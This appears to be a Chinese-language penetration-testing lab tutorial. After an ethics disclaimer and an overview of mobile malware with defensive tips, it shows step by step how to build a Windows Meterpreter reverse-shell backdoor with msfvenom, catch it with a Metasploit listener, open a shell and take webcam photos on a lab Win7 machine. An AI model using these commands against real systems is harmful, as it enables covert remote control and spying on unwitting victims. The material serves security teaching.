★关于道德伦理的忠告★
关于一些网络安全实战内容,我还是不厌其烦的写上这些忠告,请见谅。
以下内容摘自《Metasploit渗透测试指南》
作为一名渗透测试者,我们可以击败安全防御机制,但这是仅仅是我们工作的一部分。当你进行渗透攻击时,请记住如下的忠告:
- 不要进行恶意的攻击;
- 不要做傻事;
- 在没有获得书面授权时,不要攻击任何目标;
- 考虑你的行为将会带来的后果;
- 如果你干了些非法的事情,天网恢恢疏而不漏,你总会被抓到牢里的。
1、手机恶意应用程序分析
1.1、手机恶意应用程序理解
手机恶意应用程序:一般是指在用户不完全知情和认可(它包括未经用户许可、强迫引导用户许可或隐瞒关键信息等)的情况下强行安装到用户手机中,或者一旦安装就无法正常卸载和删除,但又具备一定正常功能的软件程序。它是介于病毒和正常软件之间的软件,它与病毒的区别是:一般还具备一定的正常功能。
1.2、危害性
恶意程序中植入的木马程序 ,可在用户不知情的情况下 ,收集用户个人隐私信息、恶意扣费 。
1.3、如何实现?
很多APP由于存在大量安全漏洞和缺乏安全措施,被不法分子二次打包后,或被直接仿冒,或植入广告、恶意代码,甚至加入违法内容,重新投放应用市场,严重危害用户隐私与财产安全,网络“黑产”链条也开始滋生 。
1.4、“官方”八招对付
八招对付恶意软件【来源于人民日报】:
1、选择官方渠道下载
2、关注流量使用
3、谨慎ROOT
4、注意权限信息
5、安装防病毒软件
6、不要在未知安全性的WIFI网络中上网
7、及时止损
8、及时举报
2、MSF恶意程序利用
2.0、说明
因为手机恶意程序利用的实验,我自己没有验证过就暂不做分享,以win7实验做为示例。
2.1、制作window恶意获取shell
后门的生成是为了更好的理解渗透过程中的方法以及途径,进而达到更好的防护,而不是利用技巧去做攻击等不合理的行为 。
思路:利用社会工程学中人的心理,为某些软件利用msf生成一些后门程序,进而通过带有后门的软件实现渗透获取shell 。
2.1.1、简介
msfvenom是一个Metasploit独立的有效负载生成器,也是msfpayload和msfencode的替代品。是用来生成后门的软件。
实验内容:
制作Windows恶意软件获取shell,msfvenom的shell在windows中的使用 msfvenom生成shell.exe
2.1.2、实验步骤
2.1.2.1、实验环境
kali-linux系统,版本:Linux kali 5.10.0-kali9-amd64,IP:192.168.242.4
win7系统,IP:192.168.242.6
2.1.2.2、生成后门软件
在kali系统生成后门软件,然后先复制到外面(本机),再复制到目标系统win7
msfvenom -p 添加载荷payload LHOST=监听的IP LPORT=监听的端口,只要不占用即可 -f 输出文件格式 > 目标文件的名称
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.242.4 LPORT=6060 -f exe > msftest.exe
注意:该步骤自己电脑的杀毒软件和防火墙需要暂时关闭,如果不想关闭的话,可以利用ms17-010漏洞上传文件到win7电脑,可以参考我前面写的《渗透测试实战-漏洞利用MS17-010》
2.1.2.3、启动侦听
在kali系统操作
# 启动metaspliot
msfconsole
# 启动成功结果--每次的图案不一样,主要关注下面的是否有msf6> 即表示成功
Metasploit tip: Save the current environment with the
save command, future console restarts will use this
environment again
msf6 >
# metasploit设置侦听 加载模块
msf6 > use exploit/multi/handler
# 引用成功结果 ,再在后面
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >
# 设置payload
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
#设置kali的IP
msf6 exploit(multi/handler) > set lhost kali的ip
#设置kali的端口lport =6060,也就是生成后门的端口
msf6 exploit(multi/handler) > set lport 6060
#执行
msf6 exploit(multi/handler) > exploit 或者 run
# 结果
[*] Started reverse TCP handler on 192.168.242.4:6060
2.1.2.4、win7系统双击后门软件
win7系统双击后门软件,然后观察kali系统会看到有对应信息串联起来,效果如下
[*] Sending stage (175174 bytes) to 192.168.242.6
[*] Meterpreter session 1 opened (192.168.242.4:6060 -> 192.168.242.6:2327) at 2023-09-11 11:07:36 -0400
2.1.2.4、操作命令控制win7系统
# 输入命令行
meterpreter > shell
# 连接成功
Process 8856 created.
Channel 1 created.
# 退出当前操作
exit
# 可进行拍照,只要目标系统有拍照功能
# 查看摄像头
meterpreter > webcam_list
# 结果表示有
1: Integrated Camera
# 通过摄像头拍照
meterpreter > webcam_snap